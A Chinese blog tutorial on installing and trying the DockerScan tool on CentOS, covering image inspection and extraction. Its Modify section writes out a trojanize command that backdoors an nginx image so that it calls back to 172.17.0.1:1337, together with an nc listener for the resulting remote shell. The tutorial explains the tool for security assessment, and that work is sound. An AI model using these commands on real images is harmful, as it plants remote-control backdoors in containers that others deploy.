Docker安全扫描工具之DockerScan
前言
本篇简单介绍Docker扫描工具DockerScan的安装使用。下述过程是在CentOS 7.6的虚拟机上进行的。
- [root@localhost ~]# cat /etc/redhat-release
- CentOS Linux release 7.6.1810 (Core)
Docker安装
安装过程请参考。
安装Python3
CentOS 7.6默认自带python 2.7.5。
- [root@localhost ~]# python --version
- Python 2.7.
CentOS的软件版本都比较老,DockerScan需python 3支持,使用yum命令直接安装即可。
- [root@localhost ~]# yum install python3 -y # 安装python3
- [root@localhost ~]# python3 --version # 查看python3 版本
- Python 3.6.
- [root@localhost ~]# pip3 --version # 查看pip3版本
- pip 9.0. from /usr/lib/python3./site-packages (python 3.6)
DockerScan安装
使用pip3即可直接下载安装DockerScan,十分方便。
- [root@localhost ~]# pip3 install dockerscan
- WARNING: Running pip install with root privileges is generally not a good idea. Try `pip3 install --user` instead.
- Requirement already satisfied: dockerscan in /usr/local/lib/python3./site-packages
- Requirement already satisfied: click==6.7 in /usr/local/lib/python3./site-packages (from dockerscan)
- Requirement already satisfied: booby-ng==0.8. in /usr/local/lib/python3./site-packages (from dockerscan)
- Requirement already satisfied: requests==2.13. in /usr/local/lib/python3./site-packages (from dockerscan)
- Requirement already satisfied: colorlog==2.10. in /usr/local/lib/python3./site-packages (from dockerscan)
- Requirement already satisfied: python-dxf==4.0. in /usr/local/lib/python3./site-packages (from dockerscan)
- Requirement already satisfied: six in /usr/local/lib/python3./site-packages (from booby-ng==0.8.->dockerscan)
- Requirement already satisfied: ecdsa>=0.13 in /usr/local/lib/python3./site-packages (from python-dxf==4.0.->dockerscan)
- Requirement already satisfied: www-authenticate>=0.9. in /usr/local/lib/python3./site-packages (from python-dxf==4.0.->dockerscan)
- Requirement already satisfied: jws>=0.1. in /usr/local/lib/python3./site-packages (from python-dxf==4.0.->dockerscan)
- Requirement already satisfied: tqdm>=4.10. in /usr/local/lib/python3./site-packages (from python-dxf==4.0.->dockerscan)
测试镜像
我们可以使用一些镜像Hub里的Docker镜像进行测试。
- [root@localhost docker]# pwd
- /root/docker
- [root@localhost docker]# ls
- [root@localhost docker]# docker pull mysql # 拉取mysql docker镜像
- Using default tag: latest
- latest: Pulling from library/mysql
- 80369df48736: Pull complete
- e8f52315cb10: Pull complete
- cf2189b391fc: Pull complete
- cc98f645c682: Pull complete
- 27a27ac83f74: Pull complete
- fa1f04453414: Pull complete
- d45bf7d22d33: Pull complete
- 3dbac26e409c: Pull complete
- 9017140fb8c1: Verifying Checksum
- b76dda2673ae: Download complete
- bea9eb46d12a: Download complete
- e1f050a38d0f: Download complete
- latest: Pulling from library/mysql
- 80369df48736: Pull complete
- e8f52315cb10: Pull complete
- cf2189b391fc: Pull complete
- cc98f645c682: Pull complete
- 27a27ac83f74: Pull complete
- fa1f04453414: Pull complete
- d45bf7d22d33: Pull complete
- 3dbac26e409c: Pull complete
- 9017140fb8c1: Pull complete
- b76dda2673ae: Pull complete
- bea9eb46d12a: Pull complete
- e1f050a38d0f: Pull complete
- Digest: sha256:7345ce4ce6f0c1771d01fa333b8edb2c606ca59d385f69575f8e3e2ec6695eee
- Status: Downloaded newer image for mysql:latest
- docker.io/library/mysql:latest
- [root@localhost docker]# docker images # 查看本地docker镜像
- REPOSITORY TAG IMAGE ID CREATED SIZE
- mysql latest c8ee894bd2bd days ago 456MB
- [root@localhost docker]# docker save -o mysql.tar mysql # 导出docker镜像
- [root@localhost docker]# ls
- mysql.tar
DockerScan使用
说明
目前DockerScan还没有一些比较正式的官方文档,只能自己一边摸索着使用了。
帮助文档:
- [root@localhost ~]# dockerscan --help
- Usage: dockerscan [OPTIONS] COMMAND [ARGS]...
- Options:
- -v Verbose output
- -d enable debug
- -q, --quiet Minimal output
- --version Show the version and exit.
- -h, --help Show this message and exit.
- Commands:
- image Docker images commands
- registry Docker registry actions
- scan Search for Open Docker Registries
从上可以看到,目前主要支持三个命令:image、registry、scan。 【2019.10.22】
image命令
可以使用dockerscan image --help查看子命令更细致的帮助文档。
- [root@localhost docker]# dockerscan image --help # 查看帮助文档
- Usage: dockerscan image [OPTIONS] COMMAND [ARGS]...
- Docker images commands
- Options:
- -h, --help Show this message and exit.
- Commands:
- analyze looking for sensitive data from docker image # 分析
- extract extract docker image content # 抽取docker镜像内容
- info get docker image information # 获取docker镜像信息
- modify Modify a docker image commands # 修改docker镜像命令
info
使用info子命令查看docker镜像信息。
- [root@localhost docker]# dockerscan image info mysql.tar # info查看docker镜像信息
- [ * ] Starting analyzing docker image...
- [ * ] Selected image: 'mysql.tar'
- [ * ] Analysis finished. Results:
- [ * ] - Entry point:
- [ * ] > docker-entrypoint.sh
- [ * ] - Created date = --17T04::.532313415Z
- [ * ] - Docker version = 18.06.-ce # docker版本信息
- [ * ] - Cmd = mysqld
- [ * ] - Environment:
- [ * ] > PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
- [ * ] > GOSU_VERSION=1.7
- [ * ] > MYSQL_MAJOR=8.0
- [ * ] > MYSQL_VERSION=8.0.-1debian9 # mysqld的版本,当前最新版
- [ * ] - Exposed ports: # 暴露的端口
- [ * ] > :
- [ * ] + tcp
- [ * ] > :
- [ * ] + tcp
由上可知,关于docker镜像的一些信息。
Analyze
- [root@localhost docker]# dockerscan image analyze mysql.tar # analyze分析docker镜像
- [ * ] Starting the analysis of docker image...
- [ * ] Selected image: 'mysql.tar'
- [ * ] Analysis finished. Results:
- [ * ] - Running user = root # 功能有限,仅能分析出是以root运行
Extract
- [root@localhost docker]# dockerscan image extract ./mysql.tar ./mysql # 提取镜像文件
- [ * ] Starting the extraction of docker image...
- [ * ] Selected image: 'mysql.tar'
- [ * ] Image content extracted
- root@localhost docker]# ls mysql # mysql文件夹下就是典型的linux文件系统目录结构
- bin boot dev docker-entrypoint-initdb.d entrypoint.sh etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
- [root@localhost docker]# cat ./mysql/etc/passwd | head - # 查看/etc/passwd文件内容
- root:x:::root:/root:/bin/bash
- daemon:x:::daemon:/usr/sbin:/usr/sbin/nologin
- bin:x:::bin:/bin:/usr/sbin/nologin
Modify
modify子命令可以用来修改docker镜像,如果某个恶意攻击者在docker镜像中加入一些恶意操作,并且如果被部署,则攻击者能远程控制这些docker容器。
如修改导出nginx image文件导出为nginx-trojanized,每次运行该容器将连接172.17.0.1:1337。
- # dockerscan image modify trojanize ./nginx.tar -l 172.17.0.1 -p -o nginx-trojanized
- # docker rmi nginx # 删除nginx image
- # docker load -i nginx-trojanized.tar # 导入修改nginx-trojanized.tar 镜像
- # docker run nginx:latest # 运行该镜像
另一端进行监听1337端口:
- # nc -v -k -l 172.17.0.1
Misc
Dockerscan 另外两个子命令registry、scan没有什么安全扫描功能。
registry用于上传下载image。
scan暂不明使用方法,以及有何功能。
总体上感觉,dockerscan的功能还不够:).
Docker安全扫描工具之DockerScan的更多相关文章
- Docker安全扫描工具之Anchore
本篇简单介绍一款Docker安全扫描工具Anchore的安装和使用. 前言 下述过程是在CentOS 7.6的虚拟机上进行的. [root@localhost ~]# cat /etc/redhat- ...
- Docker安全扫描工具之docker-bench-security
简介 Docker Bench for Security检查关于在生产环境中部署Docker容器的几十个常见最佳实践.这些测试都是自动化的,其灵感来自CIS Docker基准1.2.0版. 这种安全扫 ...
- Trivy 容器镜像扫描工具学习
简介 官方地址:https://github.com/aquasecurity/trivy Trivy是aqua(专注云原生场景下的安全)公司的一款开源工具,之前历史文章也有对aqua的一些介绍. T ...
- 域名扫描工具Fierce
域名扫描工具Fierce 该工具是一个域名扫描综合性工具.它可以快速获取指定域名的DNS服务器,并检查是否存在区域传输(Zone Transfer)漏洞.如果不存在该漏洞,会自动执行暴力破解,以获 ...
- NMAP分布式扫描工具dnmap
NMAP分布式扫描工具dnmap NMAP是一款知名的网络扫描工具.它提供丰富和强大的网络扫描功能.但很多时候,需要渗透测试人员从多个终端发起扫描任务,以快速扫描大型网络,或规避IP限制等安全策略 ...
- Nikto是一款Web安全扫描工具,可以扫描指定主机的web类型,主机名,特定目录,cookie,特定CGI漏洞,XSS漏洞,SQL注入漏洞等,非常强大滴说。。。
Nikto是一款Web安全扫描工具,可以扫描指定主机的web类型,主机名,特定目录,cookie,特定CGI漏洞,XSS漏洞,SQL注入漏洞等,非常强大滴说... root@xi4ojin:~# cd ...
- 网站安全扫描工具--Netsparker的使用
Netsparker是一款安全简单的web应用安全漏电扫描工具.该软件功能非常强大,使用方便.Netsparker与其他综合 性的web应用安全扫描工具相比的一个特点是它能够更好的检测SQL Inje ...
- 小白日记34:kali渗透测试之Web渗透-扫描工具-Burpsuite(二)
扫描工具-Burpsuite 公共模块 0.Spider 爬网 手动爬网 先禁用截断功能 手动将页面中点击所有连接,对提交数据的地方,都进行提交[无论内容] 自动爬网[参数设置] 指定爬网路径,否则其 ...
- 小白日记32:kali渗透测试之Web渗透-扫描工具-QWASP_ZAP
扫描工具-QWASP_ZAP 十大安全工具之一,集成性工具,功能完善,而且强大.既可做主动扫描,也可做截断代理.开源免费跨平台,简单易用,体验相对混乱,但在主动扫描方面,相对占优.[kali集成] # ...
随机推荐
- rug
rug()函数 :给图添加rug representation. · 一维的 · rug的方式是补充,仅仅包括落在图像区域内的x的值,丢失掉任何有限的值,将会被警告:而丢失任何非有限的值,则静静地丢失 ...
- 爬取豆瓣热销书榜前250 生成.csv文件
from lxml import etreeimport requestsimport csvfp = open('E:/doubanbook.csv','wt',newline='',encodin ...
- 还在用背单词App?使用Python开发英语单词自测工具,助你逆袭单词王!
学英语广告 最近也许是刚开学的原因,不管是公众号,还是刷抖音,导出都能看到关于学英语.背单词的广告. 不知道现在学生们背单词买的什么辅导材料.反正我们上学那会,<星火阅读>特别的火.记得当 ...
- NET视频教程分享
地址:链接:https://pan.baidu.com/s/1q47WN1XFw19vLZ8XZqnB_g 提取码:8ut2 这是我收集的一套.NET学习视频教程(某智24期视频),分享出来, ...
- Python爬虫实现抓取腾讯视频所有电影【实战必学】
2019-06-27 23:51:51 阅读数 407 收藏 更多 分类专栏: python爬虫 前言本文的文字及图片来源于网络,仅供学习.交流使用,不具有任何商业用途,版权归原作者所有,如有问 ...
- Python实现截图功能你肯定不会吧?【面试必学】
前言本文的文字及图片来源于网络,仅供学习.交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理.作者:CyborgLin python实现截图功能. windows环境下.需 ...
- 虚拟链路(virtual-link)
第四部分,虚拟链路配置.我们都知道,在ospf多区域中,所有与主干区域(ospf0)相连接的其他区域可以相互学系路由信息,但是,如果是非主干区域和非主干区域相连,就不能相互学习路由信息,这时候,我们可 ...
- Electron 设置 -webkit-app-region 后无法响应鼠标点击事件的解决方式
参考博客:https://blog.csdn.net/qq_20264891/article/details/87721163
- 人生苦短,我用Python(1)
1.Python保留字与标识符 保留字是Python语言中一些已经被赋予特定意义的单词,开发程序时,不可以把这些保留字作为变量.函数.类.模块和其他对象的名称来使用. and as assert br ...
- Java中Object类常用的12个方法,你用过几个?
前言 Java 中的 Object 方法在面试中是一个非常高频的点,毕竟 Object 是所有类的“老祖宗”.Java 中所有的类都有一个共同的祖先 Object 类,子类都会继承所有 Object ...